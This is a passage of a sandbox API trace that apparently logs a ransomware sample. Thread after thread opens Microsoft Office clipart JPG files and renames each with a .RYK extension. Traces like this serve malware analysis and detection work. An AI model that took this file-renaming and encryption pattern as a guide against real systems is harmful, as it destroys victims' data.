	[0243.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2365
	os_tid = 0x2a90

	[0242.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG", dwFileAttributes=0x80) returned 0
	[0243.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2366
	os_tid = 0x2a94

	[0242.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG", dwFileAttributes=0x80) returned 0
	[0243.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2367
	os_tid = 0x2a98

	[0242.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG", dwFileAttributes=0x80) returned 0
	[0243.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2368
	os_tid = 0x2a9c

	[0242.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG", dwFileAttributes=0x80) returned 0
	[0243.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2369
	os_tid = 0x2aa0

	[0242.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG", dwFileAttributes=0x80) returned 0
	[0243.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2370
	os_tid = 0x2aa4

	[0242.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG", dwFileAttributes=0x80) returned 0
	[0242.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2371
	os_tid = 0x2aa8

	[0242.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG", dwFileAttributes=0x80) returned 0
	[0242.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2372
	os_tid = 0x2aac

	[0242.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG", dwFileAttributes=0x80) returned 0
	[0242.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2373
	os_tid = 0x2ab0

	[0242.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG", dwFileAttributes=0x80) returned 0
	[0242.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.377] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2374
	os_tid = 0x2ab4

	[0242.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG", dwFileAttributes=0x80) returned 0
	[0243.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2375
	os_tid = 0x2ab8

	[0242.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG", dwFileAttributes=0x80) returned 0
	[0243.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2376
	os_tid = 0x2abc

	[0242.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG", dwFileAttributes=0x80) returned 0
	[0243.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.372] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2377
	os_tid = 0x2ac0

	[0242.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG", dwFileAttributes=0x80) returned 0
	[0243.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2378
	os_tid = 0x2ac4

	[0242.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG", dwFileAttributes=0x80) returned 0
	[0243.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.387] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2379
	os_tid = 0x2ac8

	[0242.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG", dwFileAttributes=0x80) returned 0
	[0243.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.385] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2380
	os_tid = 0x2acc

	[0242.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG", dwFileAttributes=0x80) returned 0
	[0243.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.384] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2381
	os_tid = 0x2ad0

	[0242.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG", dwFileAttributes=0x80) returned 0
	[0243.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2382
	os_tid = 0x2ad4

	[0243.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG", dwFileAttributes=0x80) returned 0
	[0243.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.556] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2386
	os_tid = 0x2af0

	[0243.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG", dwFileAttributes=0x80) returned 0
	[0243.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.555] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2387
	os_tid = 0x2af4

	[0243.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG", dwFileAttributes=0x80) returned 0
	[0243.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.554] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2388
	os_tid = 0x2af8

	[0243.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG", dwFileAttributes=0x80) returned 0
	[0243.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.553] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2389
	os_tid = 0x2afc

	[0243.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG", dwFileAttributes=0x80) returned 0
	[0243.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.552] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2390
	os_tid = 0x2b00

	[0243.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG", dwFileAttributes=0x80) returned 0
	[0243.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.551] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2391
	os_tid = 0x2b04

	[0243.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG", dwFileAttributes=0x80) returned 0
	[0243.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.550] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2392
	os_tid = 0x2b08

	[0243.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG", dwFileAttributes=0x80) returned 0
	[0243.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.549] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2393
	os_tid = 0x2b0c

	[0243.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG", dwFileAttributes=0x80) returned 0
	[0243.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
